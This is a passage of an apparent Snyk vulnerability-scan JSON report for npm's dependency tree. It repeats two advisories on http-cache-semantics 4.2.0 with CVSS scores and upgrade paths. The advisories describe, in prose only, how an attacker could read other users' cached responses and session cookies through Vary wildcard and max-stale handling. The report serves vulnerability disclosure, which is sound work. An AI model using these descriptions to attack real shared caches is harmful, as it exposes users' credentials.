Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": 